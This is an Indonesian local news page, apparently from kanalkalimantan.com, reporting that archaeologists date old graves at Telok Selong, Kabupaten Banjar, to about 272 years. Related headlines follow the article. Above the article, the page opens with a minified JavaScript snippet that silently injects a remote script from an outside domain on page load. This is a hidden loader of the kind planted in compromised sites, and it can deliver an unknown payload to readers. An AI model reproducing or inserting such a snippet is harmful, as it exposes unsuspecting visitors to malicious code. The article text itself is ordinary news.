(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Laporan Dinas Pariwisata dan Budaya (Disbudpar) Kabupaten Banjar akan penemuan makam kuno di Telok Selong, Kecamatan Martapura Barat, Kabupaten Banjar, ditindaklanjuti oleh Balai Arkeologi Banjarmasin. Senin (13/11) mereka menyatakan usia makam tersebut. Apa katanya?
Dari hasil penelitian sementara yang dilakukan, Balai Arkeologi yang beralamat di Jl Gotong Royong Banjarbaru ini menyatakan, makam tua di Telok Selong ternyata memang masuk kategori situs kuno. Hal ini karena dari analisa batuan nisan yang digunakan, dapat diperkirakan berapa usia puluhan makam di lokasi yang menjadi kehebohan baru masyarakat.
Namun, usia makam ternyata tidak setua yang diperkirakan sebelumnya yang mencapai 800 tahun. Tetapi usia makam tersebut diperkirakan sekitar 272 tahun!
Jika diomparansikan dengan sejarah Kesultanan Banjar, maka Islam masuk ke Banjarmasin sekitar tahun 1520 dan Pangeran Samudera atau Sulatan Suriansyah, sebagai raja pertama memeluk Islam pada tahun 1526 masehi, atau 932 Hijriah. (Baca: Heboh Penemuan Makam Kuno berusia 800 Tahun).
Memang, Balai Arkeologi masih belum bisa memastikan sepenuhnya akan makam tua tersebut.  Peneliti Madya Arkeologi Banjarmasin, Wasita mengatakan, pihaknya masih mempunyai alasan untuk turun ke lapangan guna peninjauan lebih lanjut.
“Yakni mencari data awal dan memastikan apakah benar bahwa penemuan makam tersebut bisa di kategorikan situs kuno, adapun penjelasan tentang usia makam bisa dilihat dari sisi sejarah ke Kesultanan Banjar,†katanya.
Ia juga menegaskan bahwa untuk mengetahui asal usul makam perlu beberapa tahapan. Mulai deskripsi di permukaan ditemukannya makam, langgam dan unsur-unsur di makam tersebut, serta menempatkan posisi tokoh dan sejarah tempo dulu.
Makam makam tua yang di temukan warga Teluk Selong tersebut masih tahap penjejakan awal yang dilakukan Balai Arkeologi. Adapun yang terdapat di makam tersebut ada batu nisan yang tertua dengan tulisan angka 1168, ternyata itu bukan tahun masehi.
Tetapi tahun hijriah! Data tersebut didapat setelah tim dari Balai Arkeologi Banjarmasin yang ditinjau langsung oleh Kepala Balai Arkeologi Banjarmasin, Bambang Sakti Wiku Atmojo.
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.